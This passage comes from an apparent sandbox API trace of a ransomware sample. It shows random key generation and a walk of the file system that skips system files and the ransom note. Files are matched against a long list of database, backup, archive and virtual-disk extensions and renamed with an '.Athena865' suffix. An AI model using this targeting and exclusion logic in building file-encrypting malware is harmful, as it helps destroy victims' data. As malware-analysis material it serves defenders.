dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xb4560) returned 0x2bb0000 [0148.699] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.700] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.700] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.701] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0148.707] CloseHandle (hObject=0x17c) returned 1 [0148.707] CloseHandle (hObject=0x154) returned 1 [0148.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.DEV_COL.HXC", cAlternateFileName="WINPRO~1.HXC")) returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2=".") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="..") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="windows") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="bootmgr") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="temp") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="pagefile.sys") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="boot") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="ids.txt") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="ntuser.dat") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="perflogs") returned 1 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2="MSBuild") returned 1 [0148.716] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0148.716] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ.DEV_COL.HXC" | out: lpString1="WINPROJ.DEV_COL.HXC") returned="WINPROJ.DEV_COL.HXC" [0148.716] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0148.716] lstrlenW (lpString="Athena865") returned 9 [0148.716] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0148.716] lstrlenW (lpString=".dll") returned 4 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2=".dll") returned 1 [0148.716] lstrlenW (lpString=".lnk") returned 4 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2=".lnk") returned 1 [0148.716] lstrlenW (lpString=".ini") returned 4 [0148.716] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2=".ini") returned 1 [0148.717] lstrlenW (lpString=".sys") returned 4 [0148.717] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXC", lpString2=".sys") returned 1 [0148.717] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0148.717] lstrlenW (lpString="bak") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0148.717] lstrlenW (lpString="ba_") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0148.717] lstrlenW (lpString="dbb") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0148.717] lstrlenW (lpString="vmdk") returned 4 [0148.717] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0148.717] lstrlenW (lpString="rar") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0148.717] lstrlenW (lpString="zip") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0148.717] lstrlenW (lpString="tgz") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0148.717] lstrlenW (lpString="vbox") returned 4 [0148.717] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0148.717] lstrlenW (lpString="vdi") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0148.717] lstrlenW (lpString="vhd") returned 3 [0148.717] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0148.717] lstrlenW (lpString="vhdx") returned 4 [0148.718] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0148.718] lstrlenW (lpString="avhd") returned 4 [0148.718] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0148.718] lstrlenW (lpString="db") returned 2 [0148.718] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0148.718] lstrlenW (lpString="db2") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0148.718] lstrlenW (lpString="db3") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0148.718] lstrlenW (lpString="dbf") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0148.718] lstrlenW (lpString="mdf") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0148.718] lstrlenW (lpString="mdb") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0148.718] lstrlenW (lpString="sql") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0148.718] lstrlenW (lpString="sqlite") returned 6 [0148.718] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0148.718] lstrlenW (lpString="sqlite3") returned 7 [0148.718] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0148.718] lstrlenW (lpString="sqlitedb") returned 8 [0148.718] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0148.718] lstrlenW (lpString="xml") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0148.718] lstrlenW (lpString="$er") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0148.718] lstrlenW (lpString="4dd") returned 3 [0148.718] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0148.719] lstrlenW (lpString="4dl") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0148.719] lstrlenW (lpString="^^^") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0148.719] lstrlenW (lpString="abs") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0148.719] lstrlenW (lpString="abx") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0148.719] lstrlenW (lpString="accdb") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0148.719] lstrlenW (lpString="accdc") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0148.719] lstrlenW (lpString="accde") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0148.719] lstrlenW (lpString="accdr") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0148.719] lstrlenW (lpString="accdt") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0148.719] lstrlenW (lpString="accdw") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0148.719] lstrlenW (lpString="accft") returned 5 [0148.719] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0148.719] lstrlenW (lpString="adb") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0148.719] lstrlenW (lpString="adb") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0148.719] lstrlenW (lpString="ade") returned 3 [0148.719] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0148.719] lstrlenW (lpString="adf") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0148.720] lstrlenW (lpString="adn") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0148.720] lstrlenW (lpString="adp") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0148.720] lstrlenW (lpString="alf") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0148.720] lstrlenW (lpString="ask") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0148.720] lstrlenW (lpString="btr") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0148.720] lstrlenW (lpString="cat") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0148.720] lstrlenW (lpString="cdb") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0148.720] lstrlenW (lpString="ckp") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0148.720] lstrlenW (lpString="cma") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0148.720] lstrlenW (lpString="cpd") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0148.720] lstrlenW (lpString="dacpac") returned 6 [0148.720] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0148.720] lstrlenW (lpString="dad") returned 3 [0148.720] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0148.720] lstrlenW (lpString="dadiagrams") returned 10 [0148.720] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="dadiagrams") returned 1 [0148.720] lstrlenW (lpString="daschema") returned 8 [0148.720] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0148.720] lstrlenW (lpString="db-journal") returned 10 [0148.720] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="db-journal") returned 1 [0148.721] lstrlenW (lpString="db-shm") returned 6 [0148.721] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0148.721] lstrlenW (lpString="db-wal") returned 6 [0148.721] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0148.721] lstrlenW (lpString="dbc") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0148.721] lstrlenW (lpString="dbs") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0148.721] lstrlenW (lpString="dbt") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0148.721] lstrlenW (lpString="dbv") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0148.721] lstrlenW (lpString="dbx") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0148.721] lstrlenW (lpString="dcb") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0148.721] lstrlenW (lpString="dct") returned 3 [0148.721] lstrcmpiW (lpString1="HXC", lpString2="dct") returned 1 [0148.721] lstrlenW (lpString="dcx") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="dcx") returned 1 [0148.723] lstrlenW (lpString="ddl") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="ddl") returned 1 [0148.723] lstrlenW (lpString="dlis") returned 4 [0148.723] lstrcmpiW (lpString1=".HXC", lpString2="dlis") returned -1 [0148.723] lstrlenW (lpString="dp1") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="dp1") returned 1 [0148.723] lstrlenW (lpString="dqy") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="dqy") returned 1 [0148.723] lstrlenW (lpString="dsk") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="dsk") returned 1 [0148.723] lstrlenW (lpString="dsn") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="dsn") returned 1 [0148.723] lstrlenW (lpString="dtsx") returned 4 [0148.723] lstrcmpiW (lpString1=".HXC", lpString2="dtsx") returned -1 [0148.723] lstrlenW (lpString="dxl") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="dxl") returned 1 [0148.723] lstrlenW (lpString="eco") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="eco") returned 1 [0148.723] lstrlenW (lpString="ecx") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="ecx") returned 1 [0148.723] lstrlenW (lpString="edb") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="edb") returned 1 [0148.723] lstrlenW (lpString="epim") returned 4 [0148.723] lstrcmpiW (lpString1=".HXC", lpString2="epim") returned -1 [0148.723] lstrlenW (lpString="fcd") returned 3 [0148.723] lstrcmpiW (lpString1="HXC", lpString2="fcd") returned 1 [0148.723] lstrlenW (lpString="fdb") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fdb") returned 1 [0148.724] lstrlenW (lpString="fic") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fic") returned 1 [0148.724] lstrlenW (lpString="flexolibrary") returned 12 [0148.724] lstrcmpiW (lpString1=".DEV_COL.HXC", lpString2="flexolibrary") returned -1 [0148.724] lstrlenW (lpString="fm5") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fm5") returned 1 [0148.724] lstrlenW (lpString="fmp") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fmp") returned 1 [0148.724] lstrlenW (lpString="fmp12") returned 5 [0148.724] lstrcmpiW (lpString1="L.HXC", lpString2="fmp12") returned 1 [0148.724] lstrlenW (lpString="fmpsl") returned 5 [0148.724] lstrcmpiW (lpString1="L.HXC", lpString2="fmpsl") returned 1 [0148.724] lstrlenW (lpString="fol") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fol") returned 1 [0148.724] lstrlenW (lpString="fp3") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fp3") returned 1 [0148.724] lstrlenW (lpString="fp4") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fp4") returned 1 [0148.724] lstrlenW (lpString="fp5") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fp5") returned 1 [0148.724] lstrlenW (lpString="fp7") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fp7") returned 1 [0148.724] lstrlenW (lpString="fpt") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="fpt") returned 1 [0148.724] lstrlenW (lpString="frm") returned 3 [0148.724] lstrcmpiW (lpString1="HXC", lpString2="frm") returned 1 [0148.724] lstrlenW (lpString="gdb") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0148.725] lstrlenW (lpString="gdb") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="gdb") returned 1 [0148.725] lstrlenW (lpString="grdb") returned 4 [0148.725] lstrcmpiW (lpString1=".HXC", lpString2="grdb") returned -1 [0148.725] lstrlenW (lpString="gwi") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="gwi") returned 1 [0148.725] lstrlenW (lpString="hdb") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="hdb") returned 1 [0148.725] lstrlenW (lpString="his") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="his") returned 1 [0148.725] lstrlenW (lpString="ib") returned 2 [0148.725] lstrcmpiW (lpString1="XC", lpString2="ib") returned 1 [0148.725] lstrlenW (lpString="idb") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="idb") returned -1 [0148.725] lstrlenW (lpString="ihx") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="ihx") returned -1 [0148.725] lstrlenW (lpString="itdb") returned 4 [0148.725] lstrcmpiW (lpString1=".HXC", lpString2="itdb") returned -1 [0148.725] lstrlenW (lpString="itw") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="itw") returned -1 [0148.725] lstrlenW (lpString="jet") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="jet") returned -1 [0148.725] lstrlenW (lpString="jtx") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="jtx") returned -1 [0148.725] lstrlenW (lpString="kdb") returned 3 [0148.725] lstrcmpiW (lpString1="HXC", lpString2="kdb") returned -1 [0148.725] lstrlenW (lpString="kexi") returned 4 [0148.725] lstrcmpiW (lpString1=".HXC", lpString2="kexi") returned -1 [0148.726] lstrlenW (lpString="kexic") returned 5 [0148.726] lstrcmpiW (lpString1="L.HXC", lpString2="kexic") returned 1 [0148.726] lstrlenW (lpString="kexis") returned 5 [0148.726] lstrcmpiW (lpString1="L.HXC", lpString2="kexis") returned 1 [0148.726] lstrlenW (lpString="lgc") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="lgc") returned -1 [0148.726] lstrlenW (lpString="lwx") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="lwx") returned -1 [0148.726] lstrlenW (lpString="maf") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="maf") returned -1 [0148.726] lstrlenW (lpString="maq") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="maq") returned -1 [0148.726] lstrlenW (lpString="mar") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="mar") returned -1 [0148.726] lstrlenW (lpString="marshal") returned 7 [0148.726] lstrcmpiW (lpString1="COL.HXC", lpString2="marshal") returned -1 [0148.726] lstrlenW (lpString="mas") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="mas") returned -1 [0148.726] lstrlenW (lpString="mav") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="mav") returned -1 [0148.726] lstrlenW (lpString="maw") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="maw") returned -1 [0148.726] lstrlenW (lpString="mdbhtml") returned 7 [0148.726] lstrcmpiW (lpString1="COL.HXC", lpString2="mdbhtml") returned -1 [0148.726] lstrlenW (lpString="mdn") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="mdn") returned -1 [0148.726] lstrlenW (lpString="mdt") returned 3 [0148.726] lstrcmpiW (lpString1="HXC", lpString2="mdt") returned -1 [0148.726] lstrlenW (lpString="mfd") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="mfd") returned -1 [0148.727] lstrlenW (lpString="mpd") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="mpd") returned -1 [0148.727] lstrlenW (lpString="mrg") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="mrg") returned -1 [0148.727] lstrlenW (lpString="mud") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="mud") returned -1 [0148.727] lstrlenW (lpString="mwb") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="mwb") returned -1 [0148.727] lstrlenW (lpString="myd") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="myd") returned -1 [0148.727] lstrlenW (lpString="ndf") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="ndf") returned -1 [0148.727] lstrlenW (lpString="nnt") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="nnt") returned -1 [0148.727] lstrlenW (lpString="nrmlib") returned 6 [0148.727] lstrcmpiW (lpString1="OL.HXC", lpString2="nrmlib") returned 1 [0148.727] lstrlenW (lpString="ns2") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="ns2") returned -1 [0148.727] lstrlenW (lpString="ns3") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="ns3") returned -1 [0148.727] lstrlenW (lpString="ns4") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="ns4") returned -1 [0148.727] lstrlenW (lpString="nsf") returned 3 [0148.727] lstrcmpiW (lpString1="HXC", lpString2="nsf") returned -1 [0148.727] lstrlenW (lpString="nv") returned 2 [0148.727] lstrcmpiW (lpString1="XC", lpString2="nv") returned 1 [0148.727] lstrlenW (lpString="nv2") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="nv2") returned -1 [0148.728] lstrlenW (lpString="nwdb") returned 4 [0148.728] lstrcmpiW (lpString1=".HXC", lpString2="nwdb") returned -1 [0148.728] lstrlenW (lpString="nyf") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="nyf") returned -1 [0148.728] lstrlenW (lpString="odb") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0148.728] lstrlenW (lpString="odb") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="odb") returned -1 [0148.728] lstrlenW (lpString="oqy") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="oqy") returned -1 [0148.728] lstrlenW (lpString="ora") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="ora") returned -1 [0148.728] lstrlenW (lpString="orx") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="orx") returned -1 [0148.728] lstrlenW (lpString="owc") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="owc") returned -1 [0148.728] lstrlenW (lpString="p96") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="p96") returned -1 [0148.728] lstrlenW (lpString="p97") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="p97") returned -1 [0148.728] lstrlenW (lpString="pan") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="pan") returned -1 [0148.728] lstrlenW (lpString="pdb") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="pdb") returned -1 [0148.728] lstrlenW (lpString="pdm") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="pdm") returned -1 [0148.728] lstrlenW (lpString="pnz") returned 3 [0148.728] lstrcmpiW (lpString1="HXC", lpString2="pnz") returned -1 [0148.728] lstrlenW (lpString="qry") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="qry") returned -1 [0148.729] lstrlenW (lpString="qvd") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="qvd") returned -1 [0148.729] lstrlenW (lpString="rbf") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="rbf") returned -1 [0148.729] lstrlenW (lpString="rctd") returned 4 [0148.729] lstrcmpiW (lpString1=".HXC", lpString2="rctd") returned -1 [0148.729] lstrlenW (lpString="rod") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="rod") returned -1 [0148.729] lstrlenW (lpString="rodx") returned 4 [0148.729] lstrcmpiW (lpString1=".HXC", lpString2="rodx") returned -1 [0148.729] lstrlenW (lpString="rpd") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="rpd") returned -1 [0148.729] lstrlenW (lpString="rsd") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="rsd") returned -1 [0148.729] lstrlenW (lpString="sas7bdat") returned 8 [0148.729] lstrcmpiW (lpString1="_COL.HXC", lpString2="sas7bdat") returned -1 [0148.729] lstrlenW (lpString="sbf") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0148.729] lstrlenW (lpString="scx") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0148.729] lstrlenW (lpString="sdb") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0148.729] lstrlenW (lpString="sdc") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0148.729] lstrlenW (lpString="sdf") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0148.729] lstrlenW (lpString="sis") returned 3 [0148.729] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0148.729] lstrlenW (lpString="spq") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0148.730] lstrlenW (lpString="te") returned 2 [0148.730] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0148.730] lstrlenW (lpString="teacher") returned 7 [0148.730] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0148.730] lstrlenW (lpString="tmd") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0148.730] lstrlenW (lpString="tps") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0148.730] lstrlenW (lpString="trc") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0148.730] lstrlenW (lpString="trc") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0148.730] lstrlenW (lpString="trm") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0148.730] lstrlenW (lpString="udb") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0148.730] lstrlenW (lpString="udl") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0148.730] lstrlenW (lpString="usr") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0148.730] lstrlenW (lpString="v12") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0148.730] lstrlenW (lpString="vis") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0148.730] lstrlenW (lpString="vpd") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0148.730] lstrlenW (lpString="vvv") returned 3 [0148.730] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0148.730] lstrlenW (lpString="wdb") returned 3 [0148.731] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0148.731] lstrlenW (lpString="wmdb") returned 4 [0148.731] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0148.731] lstrlenW (lpString="wrk") returned 3 [0148.731] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0148.731] lstrlenW (lpString="xdb") returned 3 [0148.731] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0148.731] lstrlenW (lpString="xld") returned 3 [0148.731] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0148.731] lstrlenW (lpString="xmlff") returned 5 [0148.731] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0148.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.Athena865") returned 77 [0148.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft 